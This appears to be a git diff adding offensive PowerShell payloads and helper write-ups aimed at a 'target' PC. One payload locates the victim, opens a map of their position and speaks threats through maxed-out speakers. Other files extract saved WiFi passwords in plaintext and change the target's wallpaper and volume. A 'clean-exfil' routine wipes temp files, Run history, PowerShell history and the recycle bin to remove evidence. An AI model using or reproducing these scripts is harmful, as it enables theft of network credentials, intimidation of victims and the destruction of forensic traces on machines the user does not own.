New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
||||
|
||||
}
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Params
|
||||
{
|
||||
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
||||
public static extern int SystemParametersInfo (Int32 uAction,
|
||||
Int32 uParam,
|
||||
String lpvParam,
|
||||
Int32 fuWinIni);
|
||||
}
|
||||
"@
|
||||
|
||||
$SPI_SETDESKWALLPAPER = 0x0014
|
||||
$UpdateIniFile = 0x01
|
||||
$SendChangeEvent = 0x02
|
||||
|
||||
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
||||
|
||||
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
||||
}
|
||||
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
function clean-exfil {
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
|
||||
}
|
||||
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
||||
|
||||
clean-exfil
|
||||
```
|
||||
@@ -0,0 +1,159 @@
|
||||
```PowerShell
|
||||
<#
|
||||
.NOTES
|
||||
The targets Location Services must be turned on or this payload will not work
|
||||
|
||||
.SYNOPSIS
|
||||
This script will get the users location and open a map of where they are in their browser and use windows speech to declare you know where they are
|
||||
|
||||
.DESCRIPTION
|
||||
This program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.
|
||||
The SSID and WiFi password of any current or previously connected to networks.
|
||||
It determines the last day they changed thier password and how many days ago.
|
||||
Once the information is gathered the script will pause until a mouse movement is detected
|
||||
Then the script uses Sapi speak to roast their set up and lack of security
|
||||
#>
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to get the Name associate with the targets microsoft account, if not detected UserName will be used
|
||||
#>
|
||||
|
||||
function Get-fullName {
|
||||
|
||||
try {
|
||||
|
||||
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||
|
||||
}
|
||||
|
||||
# If no name is detected function will return $env:UserName
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No name was detected"
|
||||
return $env:UserName
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return $fullName
|
||||
|
||||
}
|
||||
|
||||
$FN = Get-fullName
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to get the current Latitide and Longitude of your target
|
||||
#>
|
||||
|
||||
function Get-GeoLocation{
|
||||
try {
|
||||
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||
$GeoWatcher.Start() #Begin resolving current locaton
|
||||
|
||||
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||
}
|
||||
|
||||
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||
Write-Error 'Access Denied for Location Information'
|
||||
} else {
|
||||
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||||
|
||||
}
|
||||
}
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No coordinates found"
|
||||
return "No Coordinates found"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to pause the script until a mouse movement is detected
|
||||
#>
|
||||
|
||||
function Pause-Script{
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||
$o=New-Object -ComObject WScript.Shell
|
||||
|
||||
while (1) {
|
||||
$pauseTime = 3
|
||||
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||
break
|
||||
}
|
||||
else {
|
||||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
$GL = Get-GeoLocation
|
||||
|
||||
$GL = $GL -split " "
|
||||
|
||||
$Lat = $GL[0].Substring(11) -replace ".$"
|
||||
|
||||
$Lon = $GL[1].Substring(10) -replace ".$"
|
||||
|
||||
Pause-Script
|
||||
|
||||
# Opens their browser with a map of their current location
|
||||
|
||||
Start-Process "https://www.latlong.net/c/?lat=$Lat&long=$Lon"
|
||||
|
||||
Start-Sleep -s 3
|
||||
|
||||
# Sets Volume to max level
|
||||
|
||||
$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
||||
|
||||
# Sets up speech module
|
||||
|
||||
$s=New-Object -ComObject SAPI.SpVoice
|
||||
$s.Rate = -2
|
||||
$s.Speak("We found you $FN")
|
||||
$s.Speak("We know where you are")
|
||||
$s.Speak("We are everywhere")
|
||||
$s.Speak("Expect us")
|
||||
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinu
|
||||
```
|
||||
@@ -0,0 +1,39 @@
|
||||
## Description
|
||||
|
||||
This function can be used to set the volume of your targets PC
|
||||
|
||||
## The Function
|
||||
|
||||
### [Set-Volume]
|
||||
|
||||
In this function we will create an object to allow us to use the Send Keys method to either raise or lower the volume using the following syntax
|
||||
```PowerShell
|
||||
Set-Volume 50
|
||||
```
|
||||
|
||||
```PowerShell
|
||||
Function Set-Volume
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ValidateRange(0,100)]
|
||||
[Int]
|
||||
$volume
|
||||
)
|
||||
|
||||
# Calculate number of key presses.
|
||||
$keyPresses = [Math]::Ceiling( $volume / 2 )
|
||||
|
||||
# Create the Windows Shell object.
|
||||
$obj = New-Object -ComObject WScript.Shell
|
||||
|
||||
# Set volume to zero.
|
||||
1..50 | ForEach-Object { $obj.SendKeys( [char] 174 ) }
|
||||
|
||||
# Set volume to specified level.
|
||||
for( $i = 0; $i -lt $keyPresses; $i++ )
|
||||
{
|
||||
$obj.SendKeys( [char] 175 )
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,92 @@
|
||||
## Description
|
||||
|
||||
This function will set the targets wallpaper to the provided image
|
||||
|
||||
## The Function
|
||||
|
||||
### [Set-WallPaper]
|
||||
|
||||
Using the following syntax will set the targets desktop wallpaper to an image of your choosing:
|
||||
|
||||
```PowerShell
|
||||
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
||||
```
|
||||
|
||||
```PowerShell
|
||||
Function Set-WallPaper {
|
||||
|
||||
<#
|
||||
|
||||
.SYNOPSIS
|
||||
Applies a specified wallpaper to the current user's desktop
|
||||
|
||||
.PARAMETER Image
|
||||
Provide the exact path to the image
|
||||
|
||||
.PARAMETER Style
|
||||
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
|
||||
|
||||
.EXAMPLE
|
||||
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
|
||||
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
|
||||
|
||||
#>
|
||||
|
||||
|
||||
param (
|
||||
[parameter(Mandatory=$True)]
|
||||
# Provide path to image
|
||||
[string]$Image,
|
||||
# Provide wallpaper style that you would like applied
|
||||
[parameter(Mandatory=$False)]
|
||||
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
||||
[string]$Style
|
||||
)
|
||||
|
||||
$WallpaperStyle = Switch ($Style) {
|
||||
|
||||
"Fill" {"10"}
|
||||
"Fit" {"6"}
|
||||
"Stretch" {"2"}
|
||||
"Tile" {"0"}
|
||||
"Center" {"0"}
|
||||
"Span" {"22"}
|
||||
|
||||
}
|
||||
|
||||
If($Style -eq "Tile") {
|
||||
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
||||
|
||||
}
|
||||
Else {
|
||||
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
||||
|
||||
}
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Params
|
||||
{
|
||||
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
||||
public static extern int SystemParametersInfo (Int32 uAction,
|
||||
Int32 uParam,
|
||||
String lpvParam,
|
||||
Int32 fuWinIni);
|
||||
}
|
||||
"@
|
||||
|
||||
$SPI_SETDESKWALLPAPER = 0x0014
|
||||
$UpdateIniFile = 0x01
|
||||
$SendChangeEvent = 0x02
|
||||
|
||||
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
||||
|
||||
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,27 @@
|
||||
## Description
|
||||
Speaks through your targets speakers
|
||||
|
||||
## The Function
|
||||
|
||||
### [Speak]
|
||||
|
||||
Using SAPI.SpVoice you will feed strings to the functions to have it speak through your targets speakers using the following syntax
|
||||
|
||||
```PowerShell
|
||||
speak "you have been hacked"
|
||||
```
|
||||
|
||||
```Powershell
|
||||
function speak {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Position=0,Mandatory = $True)]
|
||||
[string]$Sentence
|
||||
)
|
||||
|
||||
$s=New-Object -ComObject SAPI.SpVoice
|
||||
$s.Rate = -2
|
||||
$s.Speak($Sentence)
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,76 @@
|
||||
## Description
|
||||
|
||||
These functions will help you enumerate your targets wifi, and the wifi nearby
|
||||
|
||||
## The Function
|
||||
|
||||
### [Nearby Networks]
|
||||
|
||||
This quick snippet will get you the wifi connections visible from your targets PC
|
||||
|
||||
```PowerShell
|
||||
$NearbyNetworks = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*" -or $_ -like "*Authentication*" -or $_ -like "*Encryption*"}).trim()
|
||||
```
|
||||
|
||||
### [Get-CurrentNetwork]
|
||||
|
||||
This first function will get you the SSID and Password the target PC is currently connected to and save it to the variable $CurrentNetwork
|
||||
|
||||
```PowerShell
|
||||
function Get-CurrentNetwork {
|
||||
|
||||
$pro = netsh wlan show interface | Select-String -Pattern ' SSID '; $pro = [string]$pro;$pos = $pro.IndexOf(':');$pro = $pro.Substring($pos+2).Trim()
|
||||
|
||||
$pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass;$passPOS = $pass.IndexOf(':');$pass = $pass.Substring($passPOS+2).Trim()
|
||||
|
||||
return "$pro : $pass"
|
||||
|
||||
}
|
||||
|
||||
$CurrentNetwork = Get-CurrentNetwork
|
||||
|
||||
```
|
||||
|
||||
### [Get-AllNetworks]
|
||||
|
||||
This function will get you a list of all the wifi networks your target has joined and their passwords and save it to the variable $Networks
|
||||
|
||||
```PowerShell
|
||||
Function Get-Networks {
|
||||
# Get Network Interfaces
|
||||
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
||||
|
||||
# Get Wifi SSIDs and Passwords
|
||||
$WLANProfileNames =@()
|
||||
|
||||
#Get all the WLAN profile names
|
||||
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
||||
|
||||
#Trim the output to receive only the name
|
||||
Foreach($WLANProfileName in $Output){
|
||||
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
||||
}
|
||||
$WLANProfileObjects =@()
|
||||
|
||||
#Bind the WLAN profile names and also the password to a custom object
|
||||
Foreach($WLANProfileName in $WLANProfileNames){
|
||||
|
||||
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
||||
try{
|
||||
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
||||
}Catch{
|
||||
$WLANProfilePassword = "The password is not stored in this profile"
|
||||
}
|
||||
|
||||
#Build the object and add this to an array
|
||||
$WLANProfileObject = New-Object PSCustomobject
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
||||
$WLANProfileObjects += $WLANProfileObject
|
||||
Remove-Variable WLANProfileObject
|
||||
}
|
||||
return $WLANProfileObjects
|
||||
}
|
||||
|
||||
$Networks = Get-Networks
|
||||
```
|
||||
@@ -0,0 +1,49 @@
|
||||
## Description
|
||||
This function will convert a text file to an image
|
||||
|
||||
## [SYNTAX]
|
||||
|
||||
### Encode an Image
|
||||
```PowerShell
|
||||
txt-img -txtPath "C:\Users\User\Desktop\text.txt" -imgPath "C:\Users\User\Desktop\img.jpg"
|
||||
```
|
||||
|
||||
## The Function
|
||||
|
||||
### [txt-img]
|
||||
|
||||
This function will convert your text file to an image
|
||||
|
||||
Use the txtPath tag to provide the path of the text file you are trying to convert
|
||||
|
||||
Using the imgPath parameter will set where the image is saved to and what it is saved as
|
||||
|
||||
If no imgPath is designated it will save it to the desktop with the name foo.jpg by default
|
||||
|
||||
```PowerShell
|
||||
function txt-img {
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
|
||||
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[string]$txtPath,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[string]$imgPath
|
||||
)
|
||||
|
||||
if (!$imgPath) {$imgPath = "$Env:USERPROFILE\Desktop\foo.jpg"}
|
||||
|
||||
$content = [IO.File]::ReadAllText($txtPath)
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
$bmp = new-object System.Drawing.Bitmap 1920,1080
|
||||
$font = new-object System.Drawing.Font Consolas,18
|
||||
$brushBg = [System.Drawing.Brushes]::White
|
||||
$brushFg = [System.Drawing.Brushes]::Black
|
||||
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
|
||||
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)
|
||||
$graphics.DrawString($content,$font,$brushFg,500,100)
|
||||
$graphics.Dispose()
|
||||
$bmp.Save($imgPath)
|
||||
}
|
||||
```
|
||||
Reference in New Issue
Block a user